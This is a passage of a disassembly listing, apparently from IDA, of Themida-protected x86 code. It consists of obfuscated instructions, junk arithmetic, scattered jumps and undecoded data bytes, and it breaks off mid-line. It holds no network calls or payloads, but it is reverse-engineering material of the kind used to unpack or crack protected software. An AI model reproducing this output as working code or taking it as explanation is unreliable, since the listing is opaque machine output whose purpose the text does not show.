; CODE XREF: Themida_:00549375j pop edx dec edx sub edx, 0FFFFFFFFh and edx, 63521C25h jmp loc_54D369 ; --------------------------------------------------------------------------- dw 0C130h dd 4DEB8058h, 2805C380h, 5EB80CBh, 594DC380h, 5059C380h dd 0E328CBB4h, 6C1AE9h, 31665E00h, 1665DEEh, 24348BF0h dd 23E0E950h, 81500000h, 4ECh, 24248900h, 4240481h, 0FF000000h dd 83582434h, 0BB6804C4h, 8900001Eh, 0B850242Ch, 4, 2D58C589h dd 41254542h, 4205E801h, 5D412545h, 0BA08E9h db 0 ; --------------------------------------------------------------------------- loc_5434DD: ; CODE XREF: Themida_:00546F90j add esp, 4 add esi, ecx jmp loc_54A6EF ; --------------------------------------------------------------------------- dw 0C701h aXsx db 'Xé•Á',0 align 2 dw 1C87h dd 0F862E924h, 0EC810000h, 4, 54240489h, 8B9FE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54350A: ; CODE XREF: Themida_:0055072Cj push esi mov esi, 4 add edi, esi pop esi jmp loc_548878 ; --------------------------------------------------------------------------- dd 0F7241C87h, 241C87D3h, 81242C8Bh, 4C4h, 0F3ED8100h dd 814F6547h, 0C8DDFAF5h, 4E38E93Fh, 0D0010000h, 0F405E9h db 0 ; --------------------------------------------------------------------------- loc_543541: ; CODE XREF: Themida_:0054751Cj mov edi, 0C0B67DFh push 445Bh jmp loc_5474C7 ; --------------------------------------------------------------------------- loc_543550: ; CODE XREF: Themida_:00555898j sub eax, 7D7D42D9h jmp loc_54F372 ; --------------------------------------------------------------------------- loc_54355A: ; CODE XREF: Themida_:00552139j not dword ptr [esp] mov ebp, [esp] jmp loc_54A5C6 ; --------------------------------------------------------------------------- loc_543565: ; CODE XREF: Themida_:00543C6Bj mov [esp], ecx push 6A17h mov [esp], edi mov edi, 22325EF0h shr edi, 8 shr edi, 3 push ebp mov ebp, 36BE50F6h xor edi, ebp pop ebp xor edi, 5B6B6862h mov ecx, edi pop edi jmp loc_54F7BF ; --------------------------------------------------------------------------- loc_543592: ; CODE XREF: Themida_:0054880Fj mov edi, 1D5F0DD9h dec edi neg edi jmp loc_54FB14 ; --------------------------------------------------------------------------- byte_54359F db 0FFh ; DATA XREF: Themida_:00541880o dd 0E579E932h, 0EC83FFFFh, 240C8904h, 3C1D07B9h, 77C9810Fh dd 81290B6Eh, 0AE4924E1h, 0E0C18128h, 1D7D1B6h, 48759C8h dd 24248B24h, 1058EE9h, 34335900h, 24343124h, 5C243433h dd 24048F54h, 4240483h, 81242C8Bh, 4C4h, 4EC8300h, 9FD9E9h dd 72F18100h, 816C12AFh, 4ECh, 24048900h, 0C589C889h, 2434FF58h dd 0CE8BE9h, 80CFFE00h, 0F800E1C7h, 66C8005Bh, 28DAB252h dd 148B66D0h, 2C48124h, 0FF000000h, 83592434h, 0C0FE04C4h dd 0E9502F04h, 10243h ; --------------------------------------------------------------------------- loc_54363C: ; CODE XREF: Themida_:0054D89Dj push ebx push ecx mov ecx, 8567A69h add dword ptr [esp+4], 0DBE5A87h sub [esp+4], ecx sub dword ptr [esp+4], 0DBE5A87h pop ecx jmp loc_551FA9 ; --------------------------------------------------------------------------- aS_5 db ']黨',0 db 0 byte_543663 db 0F6h ; DATA XREF: Themida_:005418D8o dd 0E99C241Ch, 0FFFFE4B3h ; --------------------------------------------------------------------------- loc_54366C: ; CODE XREF: Themida_:00552056j push ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx jmp loc_552C9B ; --------------------------------------------------------------------------- db 31h, 0C1h, 58h dd 190B942Dh, 0E9C8012Ah, 4426h ; --------------------------------------------------------------------------- loc_54368C: ; CODE XREF: Themida_:005455F9j push esi mov esi, esp jmp loc_553FCB ; --------------------------------------------------------------------------- dd 0BB53E801h, 6C9C3660h, 30E9D829h, 81000057h, 0C13CF8E9h dd 6E9C157h, 6AA8C181h, 0C8292FDFh, 0F0015B59h, 5A5BBA52h dd 0E2815199h, 66AD6BE4h, 0B951h, 0D1290000h, 0C159CA87h dd 814203E2h, 758477EAh, 8BD001E5h, 89522414h, 1369E9E2h dd 248B0001h, 0E2895224h, 4C281h, 0EA830000h, 24148704h dd 0E924248Bh, 85C8h dword_543700 dd 592434FFh, 675F68h, 242C8900h, 242C8B54h, 5304C483h ; DATA XREF: Themida_:005419B4o dd 60F1B951h, 0CB8948DDh, 0E9240C8Bh, 823Bh, 4C481h, 0F6810000h dd 64A84A79h, 0E957DEF7h, 321Dh ; --------------------------------------------------------------------------- loc_543738: ; CODE XREF: Themida_:0054516Fj xor ebx, eax pop eax jmp loc_544177 ; --------------------------------------------------------------------------- loc_543740: ; CODE XREF: Themida_:005493B6j add edx, 18D34B89h add edx, eax jmp loc_5480B3 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5549DF ; --------------------------------------------------------------------------- loc_54375B: ; CODE XREF: Themida_:00545975j xor eax, ecx push 21D3h mov [esp], eax xchg edi, [esp] xor edi, ebp xor ebp, edi jmp loc_54CDA0 ; --------------------------------------------------------------------------- align 2 dw 4D0h dd 2F0AE99Fh, 8D680001h, 8900004Ch, 0E952242Ch, 14B8h dd 689F0D58h, 0D0F73616h, 3BB95140h, 0E949D172h, 2587h dd 7E4AF581h, 0EA89FE6Fh, 8BD0015Dh, 0C4832414h, 2B95104h dd 1000000h, 0CD04E9C8h, 67BF0000h, 150601Eh, 0E8E95FFDh dd 810000B9h, 2C177CC1h, 0F7D1F726h, 81D1F7D1h, 0D4A273C1h dd 59CF0187h, 61E3E9h, 4055800h, 5000000h, 4, 8B240487h dd 14872424h, 2AC1E924h, 74FF0001h, 8F5E0424h, 0E95C2404h dd 11AF8h ; --------------------------------------------------------------------------- loc_543808: ; CODE XREF: Themida_:00548E8Dj add esp, 4 mov edx, ebp jmp loc_546DFE ; --------------------------------------------------------------------------- db 81h, 0E2h, 40h dd 57207F4Eh, 0DD7FE9h, 5DE98900h, 2E9C141h, 8103E1C1h dd 2426E6F1h, 0F9E9812Ah, 5166C948h, 8D49E9h db 0 ; --------------------------------------------------------------------------- loc_54383D: ; CODE XREF: Themida_:00542A83j xor dword ptr [esp], 3FDE5933h pop ebp jmp loc_550CA9 ; --------------------------------------------------------------------------- dw 7BBEh dd 0BF535273h, 256754EAh, 315EF731h, 287DE9F8h, 55560000h dd 11055E9h, 24048300h, 68515A04h, 40A7h, 5E37E9h, 0CFE95000h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54387B: ; CODE XREF: Themida_:00543DCAj xchg ebx, [esp] pop ecx xor edi, ecx xor ecx, edi xor edi, ecx push ebp mov ebp, esp add ebp, 4 jmp loc_54C66A ; --------------------------------------------------------------------------- byte_543893 db 66h ; DATA XREF: Themida_:005419D4o dd 8324048Bh, 48904ECh, 4EC8324h, 83242489h, 8B042404h dd 0C4812404h, 4, 0E904EC83h, 8F78h ; --------------------------------------------------------------------------- loc_5438B8: ; CODE XREF: Themida_:00547A3Aj add edx, 115B13C7h push ebp mov ebp, 2EDA35FEh not ebp not ebp shl ebp, 6 inc ebp shl ebp, 7 xor ebp, 5005CBCFh add edx, ebp jmp loc_544F1E ; --------------------------------------------------------------------------- dd 4C48158h, 0E9000000h, 8684h ; --------------------------------------------------------------------------- loc_5438E8: ; CODE XREF: Themida_:00550CE9j push ax mov al, 0CEh add bl, al pop ax sub bl, 0DBh mov cx, [esp] add esp, 2 jmp loc_551315 ; --------------------------------------------------------------------------- dw 5457h dd 83243C8Bh, 815204C4h, 4ECh, 0D43CE900h, 0F2800000h dd 5AD000C9h, 0C1800934h, 66C10096h, 8096B753h, 0F9285DE9h dd 665DC180h, 34FF585Bh, 2601E924h db 1, 0 ; --------------------------------------------------------------------------- loc_54393A: ; CODE XREF: Themida_:0055224Cj push dword ptr [esp] pop ecx add esp, 4 shr eax, 18h jmp loc_544616 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 4C481h, 0B9510000h, 556E3E54h, 1B77E181h, 0F1811645h dd 199B0D19h, 0AAE9CB09h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54396B: ; CODE XREF: Themida_:00546C5Bj add esp, 4 pop edx push edx jmp loc_5528C4 ; --------------------------------------------------------------------------- loc_543975: ; CODE XREF: Themida_:00550EE4j pop ebx sub eax, edx mov edx, [esp] add esp, 4 push esi jmp loc_552CEA ; --------------------------------------------------------------------------- loc_543987: ; CODE XREF: Themida_:00555221j sub ebp, 6EDE7873h add ebx, ebp jmp loc_5479A4 ; --------------------------------------------------------------------------- aISk db '‰Áékº',0 db 0 ; --------------------------------------------------------------------------- loc_54399B: ; CODE XREF: Themida_:0054BE31j sub ecx, 34823E91h dec ecx shl ecx, 3 xor ecx, 593B3EEDh not ecx sub ecx, 2F882F37h sub esp, 4 mov [esp], edi push esi push 74431419h pop esi sub esi, 5CF80AEEh jmp loc_545AD5 ; --------------------------------------------------------------------------- dw 0A168h dd 8900001Fh, 0EC81240Ch, 4, 0B3241C89h, 5BD9883Fh, 2BB3E9h dd 0C4815900h, 4, 73CA68h, 240C8900h, 0E9C4B450h, 0FFFFE7ACh dd 0B0685866h, 89000051h, 38B5240Ch, 53BCF580h, 0EF80EDB7h dd 0CFE78016h, 8007E7C0h, 0D7F690C7h, 204CF780h, 2DB4E9FDh dd 14890000h, 85685324h, 5B5EB525h, 0D14BDBF7h, 0C7C381EBh dd 0E9AF5A92h, 3B69h ; --------------------------------------------------------------------------- loc_543A44: ; CODE XREF: Themida_:005476BAj push ebx jmp loc_550383 ; --------------------------------------------------------------------------- loc_543A4A: ; CODE XREF: Themida_:0054F0C7j mov ecx, 745B6559h jmp loc_553535 ; --------------------------------------------------------------------------- loc_543A54: ; CODE XREF: Themida_:00550635j mov ebx, 40986F1Ch xor ebx, edx jmp loc_54DCF1 ; --------------------------------------------------------------------------- loc_543A60: ; CODE XREF: Themida_:0054F3E3j pop ecx not eax sub eax, 526164D7h add eax, 7F5B4D34h add eax, 6929112Dh add eax, 88622F88h jmp loc_556B55 ; --------------------------------------------------------------------------- dd 110593BAh, 5B14E979h, 54550000h, 83242C8Bh, 5C6804C4h dd 89000000h, 94BE2434h, 53217635h, 0CA51A5BBh, 7EBC12Fh dd 8F97C381h, 0C6815D6Ah, 6AA67C2h, 105C6E9h db 0 byte_543AB5 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00541848o dd 4EC8324h, 11ACCE9h db 0 ; --------------------------------------------------------------------------- loc_543AC1: ; CODE XREF: Themida_:00549E32j or edx, eax pop eax shr edx, 8 push eax mov eax, 69597CEAh add edx, eax pop eax xor edx, 2508344Fh mov esi, edx pop edx push esi not dword ptr [esp] pop esi inc esi jmp loc_54273B ; --------------------------------------------------------------------------- dd 0BB241C89h, 10440F2Dh, 5A5BD801h, 74E72D5Dh, 0D8015D19h dd 1974E705h, 26B2D5Dh, 8953618Dh, 4C381E3h, 81000000h dd 4EBh, 1BB96800h, 1C890000h, 2474FF24h, 6AFCE904h, 0C2C0000h dd 0C04E828h, 100EE959h db 1, 0 ; --------------------------------------------------------------------------- loc_543B2E: ; CODE XREF: Themida_:0055284Aj mov bl, dl pop edx pop eax xor al, bl push dword ptr [esp] pop ebx jmp loc_5518CF ; --------------------------------------------------------------------------- db 5Ah, 81h, 0F2h dd 0D5F2F91h, 5AD1295Eh, 0CA88BB53h, 4DE9CF1Ch, 87000107h dd 895C240Ch, 3EE9241Ch, 8100007Dh, 4C3C1AC1h, 0BF576Eh dd 29000000h, 5FF989CFh, 0FE9CE9h, 24248B00h, 3760E9h db 0 ; --------------------------------------------------------------------------- loc_543B7D: ; CODE XREF: Themida_:0054BF25j pop dword ptr [esp] pop esp or edx, eax shl edx, 1 sub esp, 4 mov [esp], ecx push 24h push dword ptr [esp] jmp loc_5420DA ; --------------------------------------------------------------------------- loc_543B9B: ; CODE XREF: Themida_:0054F566j mov ebx, [esp] push esi mov esi, esp jmp loc_555705 ; --------------------------------------------------------------------------- dw 0F828h dd 5B2434FFh, 51EAE9h db 0 ; --------------------------------------------------------------------------- loc_543BB1: ; CODE XREF: Themida_:00551D3Aj add edx, 21C32666h or edx, 4C0D7345h add edx, 2FF2BEAFh add ecx, edx pop edx push 23F5h mov [esp], edi mov edi, 6E305767h and edi, 23A96A26h jmp loc_545B6F ; --------------------------------------------------------------------------- dw 0C281h dd 4, 31241433h, 14332414h, 82E95C24h, 0BF00005Fh, 688202F2h dd 1C95F781h, 0FD2938E2h, 0E006E95Fh, 3C310000h, 243C3324h dd 0F24248Bh, 9C51C8AFh, 0FFDF06E9h, 4BFFFh, 0BB530000h dd 3104089Bh, 15BDD29h, 9BC581FDh, 5F310408h, 3304C583h dd 2C31242Ch, 242C3324h, 0E924248Bh, 3197h, 242C895Ch dd 121E9E9h db 0 ; --------------------------------------------------------------------------- loc_543C4D: ; CODE XREF: Themida_:0055656Ej push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp push esp pop ebp push eax mov eax, 5803210Eh sub esp, 4 jmp loc_543565 ; --------------------------------------------------------------------------- dd 4BA52h, 0D7010000h, 16E9525Ah, 8900011Fh, 0E6892434h dd 0F6468h, 24148900h, 7BDB850h, 0AE254D42h, 4047E557h dd 0D07E0C1h, 5DD42B65h, 2DFFE883h, 90739C11h, 0C1585A50h dd 504A03EAh, 0C482E9h db 0 ; --------------------------------------------------------------------------- loc_543CB5: ; CODE XREF: Themida_:00547A51j mov [esp], ebx push 0FFFFFFFFh pop ebx push ebx jmp loc_552D26 ; --------------------------------------------------------------------------- loc_543CC4: ; CODE XREF: Themida_:00543214j add ebx, 2AB57DD3h sub ebx, eax sub ebx, 2AB57DD3h pop eax xchg ebx, [esp] pop esp jmp loc_555C35 ; --------------------------------------------------------------------------- dd 504C483h, 13EB7BC6h, 12A1AE9h, 240C8900h, 0FB6C4968h dd 240C8B07h, 4C481h, 0B5E90000h db 8, 1, 0 ; --------------------------------------------------------------------------- loc_543CFF: ; CODE XREF: Themida_:0055564Aj mov [esp], esi mov esi, 1D3D2589h jmp loc_55518D ; --------------------------------------------------------------------------- a1qszj db '1ïéz†',0 dw 6800h dd 6344h, 0B1240C89h, 8BCF28E9h, 0FFE9240Ch db 0A0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_543D27: ; CODE XREF: Themida_:0055660Aj xchg edx, [esp] mov esp, [esp] or eax, eax jz loc_5558CF push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx push 2DA7h mov [esp], edx mov edx, esp push 4313h mov [esp], ecx mov ecx, 4 jmp loc_5495B6 ; --------------------------------------------------------------------------- loc_543D58: ; CODE XREF: Themida_:005536CFj push edi mov edi, 4 add ebp, edi pop edi add ebp, 4 xchg ebp, [esp] pop esp jmp loc_541B1F ; --------------------------------------------------------------------------- dd 0C681DEF7h, 6B31BCCh, 0E907EEC1h, 0C8F3h, 4C58159h dd 33000000h, 2C31242Ch, 242C3324h, 0FF24248Bh, 51582434h dd 480AE9h, 0E9D60100h, 0E806h, 0BA241489h, 4, 8BE9h db 0 ; --------------------------------------------------------------------------- loc_543DB1: ; CODE XREF: Themida_:0054F17Ej push ecx add dword ptr [esp], 20D57203h jmp loc_5484FB ; --------------------------------------------------------------------------- loc_543DBE: ; CODE XREF: Themida_:00547B9Cj inc eax jmp loc_547068 ; --------------------------------------------------------------------------- loc_543DC4: ; CODE XREF: Themida_:0054F240j push ecx xchg ebx, [esp] not ebx jmp loc_54387B ; --------------------------------------------------------------------------- loc_543DCF: ; CODE XREF: Themida_:00542A96j or edi, 264DDh sub edi, 2702BF7h jmp loc_547011 ; --------------------------------------------------------------------------- dd 4C7815Bh, 87000000h, 0FFE9243Ch, 810000A7h, 4C1h, 4E98100h dd 33000000h, 0C31240Ch, 240C3324h, 32A5E9h db 0 ; --------------------------------------------------------------------------- loc_543E09: ; CODE XREF: Themida_:00550058j push 5B9160EAh pop eax not eax add eax, 5B9160EFh mov ebp, eax pop eax jmp loc_5515F7 ; --------------------------------------------------------------------------- word_543E1E dw 0FF64h ; DATA XREF: Themida_:00541868o a2sq db '2éq/',0 align 2 loc_543E26: ; CODE XREF: Themida_:0054C330j mov ecx, esp push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_547AC5 ; --------------------------------------------------------------------------- dd 4246C81h, 48B930EAh, 9C47E951h, 34330000h, 734CE924h dd 0DF310000h, 3B7BE9h, 16E2B900h, 8CE93B75h db 8Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_543E63: ; CODE XREF: Themida_:0054626Ej add esp, 4 sub esp, 4 mov [esp], eax jmp loc_556369 ; --------------------------------------------------------------------------- db 0C1h, 0EAh, 5 dd 0EAC1DAF7h, 0BEA8106h, 103EE67h, 0D6E9D0h db 2 dup(0) word_543E86 dw 8B66h ; DATA XREF: Themida_:005419ECo dd 0A3682404h, 8900001Ch, 0E189240Ch, 4C181h, 68520000h dd 34CA020Ch, 0FFF214E9h db 0FFh ; --------------------------------------------------------------------------- loc_543EA5: ; CODE XREF: Themida_:0054DA2Aj add esp, 4 push ebx mov ebx, 7B78059Ch sub edx, ebx mov ebx, [esp] add esp, 4 add edx, eax add edx, 7B78059Ch push esi mov esi, 55EC39D4h shr esi, 7 sub esi, 91EA890Dh add edx, esi mov esi, [esp] add esp, 4 jmp loc_541B1F ; --------------------------------------------------------------------------- loc_543EDD: ; CODE XREF: Themida_:005446DFj add esp, 4 jmp loc_553F49 ; --------------------------------------------------------------------------- aSeh db ']é…H',0 align 2 dw 3C89h dd 2474FF24h, 4DE95F04h db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_543EFB: ; CODE XREF: Themida_:00555D00j jmp loc_541B1F ; --------------------------------------------------------------------------- dd 7E4FA2BEh, 0E8F68147h, 0E9543854h, 0FAFAh ; --------------------------------------------------------------------------- loc_543F10: ; CODE XREF: Themida_:005551B9j push edx push esi jmp loc_551869 ; --------------------------------------------------------------------------- loc_543F17: ; CODE XREF: Themida_:0054A9B4j pop dword ptr [esp] pop esp or ebx, esi mov esi, [esp] add esp, 4 shr ebx, 6 jmp loc_541FA6 ; --------------------------------------------------------------------------- dw 0ECE9h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_543F33: ; CODE XREF: Themida_:005443E4j mov ch, ah mov eax, [esp] add esp, 4 shr ch, 2 add ch, 55h push ebx mov bl, 4Eh dec bl or bl, 0DFh push dx jmp loc_54AAF3 ; --------------------------------------------------------------------------- db 0B2h dd 0E9D000DDh, 76F8h, 4055Ah, 13680000h, 89000024h, 0DBE92404h dd 48000098h, 0CFDF232Dh, 58C10153h, 4C181h, 0C6E90000h dd 6800000Ah, 0 dd 3435E9h db 0 ; --------------------------------------------------------------------------- loc_543F8D: ; CODE XREF: Themida_:0054645Bj add al, 55h add al, bh jmp loc_541FFA ; --------------------------------------------------------------------------- dw 285Ah dd 9CEC80F4h, 5A4BC480h, 0FE58E288h, 526668C2h, 4890000h dd 0F9B55124h, 10D4E9h, 242C8B00h, 4C481h, 0D9310000h dd 48BE565Bh, 92BD51Ch, 0AE3E9F1h db 1, 0 ; --------------------------------------------------------------------------- loc_543FCE: ; CODE XREF: Themida_:0055630Fj pop edi pop dword ptr [esp] mov esp, [esp] inc dword ptr [esp] pushf jmp loc_54C317 ; --------------------------------------------------------------------------- dw 0C301h dd 7796EB81h, 3B6877B6h, 8900000Eh, 0FF682414h, 5A320A5Bh dd 8904EC83h, 0BE56241Ch, 5F8711B3h, 0DA91E9h db 0 ; --------------------------------------------------------------------------- loc_544005: ; CODE XREF: Themida_:005538A6j not esi sub esi, 9008822Ah mov ebx, esi mov esi, [esp] add esp, 4 and eax, ebx push dword ptr [esp] pop ebx push esi push esp pop esi push edx mov edx, 68D2BC8h xor edx, 501C619Dh neg edx neg edx xor edx, 56914A51h add esi, edx pop edx push ebp jmp loc_555CA5 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 46568h, 2960E900h, 45BE0000h, 817F3901h, 390147F6h dd 5BE9577Fh, 5C0000EEh, 8904EC83h, 64B82404h, 48463C3Ah dd 0C3C5A105h, 58C601B9h, 5A8E68h, 24048900h, 6294E9h db 0 ; --------------------------------------------------------------------------- loc_54407D: ; CODE XREF: Themida_:00543309j sub al, dl sub al, 0BFh jmp loc_54B5DB ; --------------------------------------------------------------------------- loc_544086: ; CODE XREF: Themida_:00550217j push 7B61h mov [esp], eax mov eax, 72C5EC4h add eax, 0FFFFFFFFh jmp loc_54E8CC ; --------------------------------------------------------------------------- loc_54409D: ; CODE XREF: Themida_:0054D51Ej sub eax, edx mov edx, [esp] add esp, 4 push 42CFh mov [esp], esi jmp loc_5458AF ; --------------------------------------------------------------------------- dw 814Fh dd 7F603DCFh, 4DF78126h, 8182E2E4h, 6D4872C2h, 81FA2971h dd 6D4872EAh, 7CE95F71h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5440D3: ; CODE XREF: Themida_:0054EAC2j add ecx, edx jmp loc_54205E ; --------------------------------------------------------------------------- dw 0F581h dd 0DD51195Bh, 0E95DE829h, 6964h, 0E904EC83h, 12A4Dh, 0A0685651h dd 5E2DFE73h, 0F708E6C1h, 0A1BA52DEh, 4A676336h, 3809C281h dd 0E94A0C16h, 123ACh ; --------------------------------------------------------------------------- loc_544110: ; CODE XREF: Themida_:00551E49j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_55008D ; --------------------------------------------------------------------------- dw 0E95Bh dd 1226Ch, 4EC81h, 14890000h, 2474FF24h, 2434FF04h, 8324148Bh dd 0B3E904C4h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544147: ; CODE XREF: Themida_:0054C7DCj push eax mov eax, 400440Eh xor eax, 78535EA6h jmp loc_548527 ; --------------------------------------------------------------------------- loc_544157: ; CODE XREF: Themida_:0054A78Cj mov ebx, 0C3E02D7h jmp loc_547F5B ; --------------------------------------------------------------------------- byte_544161 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00541884o aSwb db '$éW¡',0 align 2 loc_54416A: ; CODE XREF: Themida_:00541D92j not edi sub edi, 0A202FB1h jmp loc_54A771 ; --------------------------------------------------------------------------- loc_544177: ; CODE XREF: Themida_:0054373Bj add ecx, ebx pop ebx add ecx, 2AD12DC4h add ecx, ebp sub ecx, 2AD12DC4h sub ecx, 74D0A96h pop ebp jmp loc_551B7C ; --------------------------------------------------------------------------- aPLkxS9f db 'P¸LkX,é9F',0 db 0 byte_54419F db 0FFh ; DATA XREF: Themida_:00541900o dd 78E92C77h, 0B8FFFFD9h, 41E8394Eh, 0FC24E9h db 0 ; --------------------------------------------------------------------------- loc_5441B1: ; CODE XREF: Themida_:00548EBAj pop esp push esi mov esi, esp push 7624h jmp loc_548E6B ; --------------------------------------------------------------------------- aLRhx db '‹<$Rhx',0Dh,0 align 4 aSli db 'éli',0 db 0 ; --------------------------------------------------------------------------- loc_5441CD: ; CODE XREF: Themida_:00543086j mov ecx, 0 add ecx, ebx jmp loc_54738B ; --------------------------------------------------------------------------- db 51h, 68h, 4 dd 0E9000000h, 674Eh, 4BFh, 0EE95500h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_5441EF: ; CODE XREF: Themida_:00556800j pop eax mov esi, [esp] jmp loc_552C16 ; --------------------------------------------------------------------------- dd 83240C8Bh, 895204C4h, 4C281E2h, 81000000h, 4EAh, 24148700h dd 603CE9h, 0E9515700h, 0DCF9h, 0D164C781h, 0F8294A95h dd 2404875Fh, 242C895Ch, 0C581E589h, 4, 4ED81h, 24E90000h dd 81000112h, 4ECh, 7B5E900h, 2EBF0000h, 291DA52Dh, 148B5FFDh dd 321E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54425A: ; CODE XREF: Themida_:00553E3Aj add edx, 0F6956A40h push edx sub dword ptr [esp], 3A1A4981h mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_5520AB ; --------------------------------------------------------------------------- loc_544280: ; CODE XREF: Themida_:005425E2j add esp, 4 pop ebx push 3D56h mov [esp], ebp jmp loc_55124A ; --------------------------------------------------------------------------- db 81h, 0EAh, 4 dd 87000000h, 685C2414h, 7CB7h, 83242489h, 8F042404h, 4812404h dd 424h, 4A83E900h, 0C6830000h, 4EC8102h, 0E9000000h, 0C172h ; --------------------------------------------------------------------------- loc_5442C4: ; CODE XREF: Themida_:00551CD4j and eax, ebp jmp loc_54BACB ; --------------------------------------------------------------------------- db 52h dd 0C281E289h, 4, 4C281h, 93E90000h, 81000097h, 0EB3F75C6h dd 412DE974h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5442EA: ; CODE XREF: Themida_:0054FD07j add esp, 4 xor esi, [esp] jmp loc_54D154 ; --------------------------------------------------------------------------- dd 0C181C101h, 4D8666DFh, 979FE9h, 59CD0100h, 5C242C87h dd 10608E9h db 0 ; --------------------------------------------------------------------------- loc_544311: ; CODE XREF: Themida_:0054ECC7j sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx push 435Dh mov [esp], ebp sub esp, 4 mov [esp], edi push 5CD4ADEh pop edi push esi mov esi, 148117BBh add edi, 2C1A31E7h add edi, 2A0328CEh add edi, esi push eax mov eax, 2D267FD5h sub eax, 7BD24C4Ah sub eax, 44391F22h jmp loc_5518E4 ; --------------------------------------------------------------------------- loc_544358: ; CODE XREF: Themida_:0054E0E2j add ebx, 4 xchg ebx, [esp] pop esp add ebx, 2 push 2BA3h mov [esp], ebx push dword ptr [esp+4] jmp loc_552665 ; --------------------------------------------------------------------------- loc_544376: ; CODE XREF: Themida_:00552D3Aj sub ecx, ebp jmp loc_550731 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 2FE95A04h db 0D5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544387: ; CODE XREF: Themida_:005528A1j dec esi shl esi, 6 jmp loc_545F96 ; --------------------------------------------------------------------------- dd 0F528CDB6h, 5E67E9h db 0 ; --------------------------------------------------------------------------- loc_544399: ; CODE XREF: Themida_:00546F01j push 79BFh mov [esp], esi jmp loc_54B4D3 ; --------------------------------------------------------------------------- loc_5443A6: ; CODE XREF: Themida_:00545A41j inc edx jmp loc_54ABAE ; --------------------------------------------------------------------------- dd 68FFED83h, 6BA6h, 50241489h, 412E73B8h, 574FE958h, 81590000h dd 7C1F18E3h, 4BDBF74Eh, 5CF7F381h, 0DD315D7Ah, 1188E9h db 0 ; --------------------------------------------------------------------------- loc_5443D9: ; CODE XREF: Themida_:005507AFj not cl mov ah, cl pop ecx shr ah, 5 add ah, 0E4h jmp loc_543F33 ; --------------------------------------------------------------------------- loc_5443E9: ; CODE XREF: Themida_:00542C05j add esp, 4 push edx mov edx, 9C1815Ch xor eax, edx pop edx jmp loc_544E27 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h aSxm db '^éX¬',0 align 2 dw 7B2Dh dd 0FF240D1Ch, 0C8B2434h, 0E1895124h, 4C181h, 0C1830000h dd 240C8704h, 4C4815Ch, 68000000h, 6585h, 68241C89h, 5D5Ch dd 0BA241489h, 11B1121Eh, 1D51BE56h, 0E9521A2Ah, 0FFFFDC48h ; --------------------------------------------------------------------------- loc_544448: ; CODE XREF: Themida_:0055523Cj add ebp, eax add ebp, 28317600h loc_544450: ; DATA XREF: ___:off_43668Co pop eax push ecx mov ecx, 4 sub ebp, ecx pop ecx push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] mov [esp], ebx push 30D2h mov [esp], ecx sub esp, 4 mov [esp], ebx push ecx mov cl, al mov bh, cl pop ecx mov ch, bh pop ebx mov bh, ch push dword ptr [esp] pop ecx jmp loc_54C6DE ; --------------------------------------------------------------------------- loc_54448B: ; CODE XREF: Themida_:00554282j mov [esp], eax push edx mov edx, 24BA6081h or edx, 1B8C4820h add edx, 407B5E69h push eax mov eax, 0FFFFFFFFh add edx, eax pop eax xor edx, 0C532A36h jmp loc_54FABA ; --------------------------------------------------------------------------- dd 4C48159h, 0E9000000h, 64A2h dword_5444C0 dd 582434FFh, 0FFF439E9h, 0E9525CFFh, 123D5h, 4EC8353h ; DATA XREF: Themida_:005418C8o dd 8522E9h, 0E9E90100h, 4EF9h, 48BC731h, 0F7F2E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5444EA: ; CODE XREF: Themida_:00554F33j mov bl, 9Dh sub bl, 8 or bl, 5Eh or bl, 8Dh sub bl, 15h jmp loc_546F1C ; --------------------------------------------------------------------------- db 89h, 0FDh, 89h dd 685F5DEAh, 4C01h, 0BD242C89h, 45134641h, 0E95DEB29h dd 6341h ; --------------------------------------------------------------------------- loc_544518: ; CODE XREF: Themida_:00554F72j or edx, 591145Dh not edx jmp loc_54FBCA ; --------------------------------------------------------------------------- loc_544525: ; CODE XREF: Themida_:0054BADCj mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] jmp loc_54C399 ; --------------------------------------------------------------------------- loc_544537: ; CODE XREF: Themida_:0054AD90j pop ecx inc edx dec edx add edx, 62CA2814h xor ebp, edx jmp loc_5569FC ; --------------------------------------------------------------------------- db 2Dh dd 2B820628h, 791A4105h, 0CE80519h, 0D8012F29h, 290CE82Dh dd 4EC812Fh, 0E9000000h, 1D7Ah dword_544568 dd 24048B66h, 81E28952h, 4C2h, 0ECE95100h, 680000F4h, 0AFEh ; DATA XREF: Themida_:00541A38o dd 0C50CE9h, 2C58300h, 5C242C87h, 68E1F766h, 6713h, 0E9241489h dd 0EF3Ch, 1D0C581h, 0EC8303EBh, 242C8904h, 5D2414F7h dd 0FFFFC581h, 0BF57FFFFh, 57DA4663h, 81AC781h, 0E78142B0h dd 2D67323Eh, 